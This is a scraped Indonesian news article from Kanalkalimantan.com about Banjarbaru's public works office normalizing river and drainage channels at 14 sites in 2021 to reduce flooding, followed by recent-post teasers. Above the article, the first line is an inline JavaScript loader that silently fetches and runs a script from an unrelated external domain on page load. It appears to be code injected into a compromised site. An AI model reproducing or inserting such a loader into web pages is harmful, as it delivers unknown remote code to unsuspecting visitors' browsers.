(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Cegah Banjir, Normalisasi Sungai di Kota Banjarbaru Dilakukan di 14 Titik


KANALKALIMANTAN.COM, BANJARBARU – Sepanjang tahun 2021 Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru sudah melakukan normalisasi di 14 titik sungai. Anggaran sebesar Rp 1,5 miliar terkuras untuk proyek sepanjang 26,3 km.

Kepala Bidang Sumber Daya Air PUPR Kota Banjarbaru, Subrianto mengatakan sepanjang tahun 2021 sudah melakukan beberapa upaya untuk mengantisipasi atau menanggulangi serta mengurangi dampak banjir.

“Kami sudah melakukan normalisasi dibeberapa sungai di tahun 2021 ini,” ucapnya ditemui Kanalkalimantan.com, Kamis (30/12/2021).

Dikatakan Subrianto, pihaknya sudah melakukan normalisasi di daerah Cempaka, tepatnya Sungai Pumpung sepanjang 1,6 Km, Sungai Dadap sepanjang 2 Km, Sungai Parit Besar 2 Km, dan saluran Handil Kiai sepanjang 4 Km di bagian hilir dari Basung.

 

 

Baca juga: Aksi Clean Up Gunung Rinjani Dapati Ratusan Sampah Botol Miras Berserakan

Selanjutnya normalisasi sungai di daerah Landasan Ulin seperti di saluran Guntung Harapan sepanjang 1,7 Km, sungai Guntung Manggis sepanjang 2 Km, Saluran Sido Rukun sepanjang 2 Km dan juga saluran Daya Sakti sepanjang 1,6 Km.

“Ini untuk mengantisipasi dampak terjadinya banjir atau genangan yang terjadi di Landasan Ulin,” bebernya

Kemudian di wilayah Lingkar Utara, kita sudah melakukan normalisasi seperti saluran Lok Bana 1,6 Km, Saluran Handil Swarga sepanjang 3,1 Km, Saluran Handil Lima sepanjang 1,5 Km, Saluran Tambak Langsat 1,5 Km, Saluran Handil Rumbia 700 Meter dan Saluran Makmur 1 Km.

Sementara itu, untuk Embung Cempaka sudah dilakukan normalisasi pada tahun 2020 dengan cara mengeruk, kemudian di hulu Cempaka juga sudah melakukan normalisasi di Embung Geraha Citra Megah untuk mengembalikan fungsi tampungnya.

Baca juga: Warga Terisolir oleh Jalan ‘Bubur’, DPRD Banjarbaru Minta Proyek Segera Tuntas

Dilanjutkannya, Subrianto mengungkapkan pihaknya akan terus mengevaluasi baik kendala maupun halangan yang terjadi penyempitan atau perlambatan aliran.

“Apakah ini efektif atau tidak, kami akan melihat lagi upaya yang kami lakukan di akhir atau di awal tahun nanti seberapa efektif upaya kami, kami tidak bisa menilai sekarang namun menurut kami sudah maksimal,” ungkapnya.

Subrianto menuturkan keefektifan upaya yang dilakukannya akan terlihat ketika intensitas hujan tinggi, maka akan dilakukan evaluasi dari kegiatan sebelumnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.